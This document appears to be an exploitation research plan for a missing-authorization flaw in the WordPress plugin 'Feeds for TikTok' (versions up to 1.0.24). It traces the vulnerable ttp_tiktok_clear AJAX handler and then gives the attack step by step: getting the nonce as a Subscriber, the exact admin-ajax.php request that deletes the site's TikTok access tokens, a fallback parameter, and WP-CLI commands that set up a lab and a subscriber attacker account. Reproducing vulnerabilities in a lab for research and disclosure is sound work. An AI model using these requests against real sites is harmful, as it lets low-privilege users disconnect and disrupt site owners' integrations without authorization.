Exploitation Research Plan: CVE-2026-24520 (Feeds for TikTok - Missing Authorization)

1. Vulnerability Summary

The Feeds for TikTok – Display Video Feeds in Grid Layouts plugin (versions <= 1.0.24) is vulnerable to missing authorization in its AJAX handlers. Specifically, the function ttp_tiktok_clear in the TTP_TikTok\TTP_TikTok_Api class handles requests to clear the plugin's cache or disconnect the TikTok account without performing any capability checks (e.g., current_user_can('manage_options')).

While the handler verifies a WordPress nonce (ttp_fetch_data_nonce), this nonce is enqueued on frontend pages where the TikTok block is present, making it accessible to authenticated users (including Subscribers). An attacker can use this to perform a Denial of Service (DoS) by deleting the plugin's TikTok access tokens and feed data.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: ttp_tiktok_clear
• Vulnerable Class: TTP_TikTok\TTP_TikTok_Api
• Vulnerable Method: ttp_tiktok_clear (Line 161 of includes/api/TiktokAPI.php)
• Authentication Required: Authenticated, Subscriber-level access (wp_ajax hook).
• Payload Parameter: action_type=unauthorized (to disconnect) or action_type=clear_cache.
• Preconditions:
  1. The plugin must be active.
  2. The attacker must have a valid Subscriber-level account.
  3. A valid nonce for ttp_fetch_data_nonce must be obtained from the frontend.

3. Code Flow

1. Registration: The plugin registers the AJAX handler in includes/api/TiktokAPI.php:

   add_action('wp_ajax_ttp_tiktok_clear', [$this, 'ttp_tiktok_clear']);
   

2. Execution: When a request is made to admin-ajax.php?action=ttp_tiktok_clear:
   • ttp_tiktok_clear() is called.
   • wp_verify_nonce(sanitize_text_field($_GET['nonce']), 'ttp_fetch_data_nonce') is checked (Line 163).
   • Missing: There is no call to current_user_can().
3. Sink: Depending on action_type:
   • If action_type === 'unauthorized':

     foreach ($this->transient as $transient) {
         delete_transient($transient); // Deletes ttp_tiktok_access_token, etc.
     }
     

   • This effectively disconnects the site from TikTok.

4. Nonce Acquisition Strategy

The nonce is localized in the enqueueTiktokAssets function in index.php:

wp_localize_script('ttp-fancyApp', 'ttpData', [
    'ajaxUrl' => admin_url('admin-ajax.php'),
    'nonce' => wp_create_nonce('ttp_fetch_data_nonce'),
    // ...
]);

The script ttp-fancyApp is registered and localized when block assets are enqueued.

Strategy:

1. Identify the block name: b-tiktok-feed/b-tiktok-feed (from build/block.json).
2. Create a post/page containing this block.
3. As a Subscriber, navigate to that page.
4. Extract the nonce from the window.ttpData object using browser_eval.

JS variable path: window.ttpData.nonce

5. Exploitation Strategy

Step 1: Obtain Nonce

1. Login as Subscriber.
2. Navigate to the page containing the TikTok feed.
3. Execute: browser_eval("window.ttpData.nonce").

Step 2: Trigger Account Disconnection (DoS)

Send an AJAX request to delete the access tokens:

• Method: GET (The code uses $_GET['nonce'] and $_GET['action_type'])
• URL: http://victims-wp.local/wp-admin/admin-ajax.php
• Query Parameters:
  • action: ttp_tiktok_clear
  • action_type: unauthorized
  • nonce: [EXTRACTED_NONCE]

Step 3: Verify Destruction

An attempt to fetch the feed data will now return empty results because ttp_tiktok_access_token is gone.

6. Test Data Setup

1. Plugin Configuration: Install and activate b-tiktok-feed version 1.0.24.
2. Simulate Authentication: Use WP-CLI to manually set a dummy access token to represent an active connection:

   wp transient set ttp_tiktok_access_token "mock_token_12345" 3600
   wp transient set ttp_tiktok_authorized_data "mock_data" 3600
   

3. Create Content: Create a page with the TikTok block to expose the nonce:

   wp post create --post_type=page --post_status=publish --post_title="TikTok Feed" --post_content='<!-- wp:b-tiktok-feed/b-tiktok-feed /-->'
   

4. Create Attacker:

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password
   

7. Expected Results

• HTTP Response: 200 OK.
• Body: {"videos":[],"user_info":[]} (encoded via wp_kses_post).
• System State: The transients ttp_tiktok_access_token and ttp_tiktok_authorized_data will be deleted from the database.

8. Verification Steps

After the exploit, check the transient state via WP-CLI:

wp transient get ttp_tiktok_access_token
# Expected: "Error: Transient with key "ttp_tiktok_access_token" not found."

9. Alternative Approaches

If action_type=unauthorized fails for any reason, try action_type=clear_cache.
While "Clear Cache" sounds benign, the ttp_tiktok_clear function calls getData() after clearing the cache. If an attacker can manipulate parameters like videoCacheTime or profileCacheTime (which are also taken from $_GET), they might be able to influence transient durations, although the primary impact remains the unauthorized invocation of the clearing logic itself.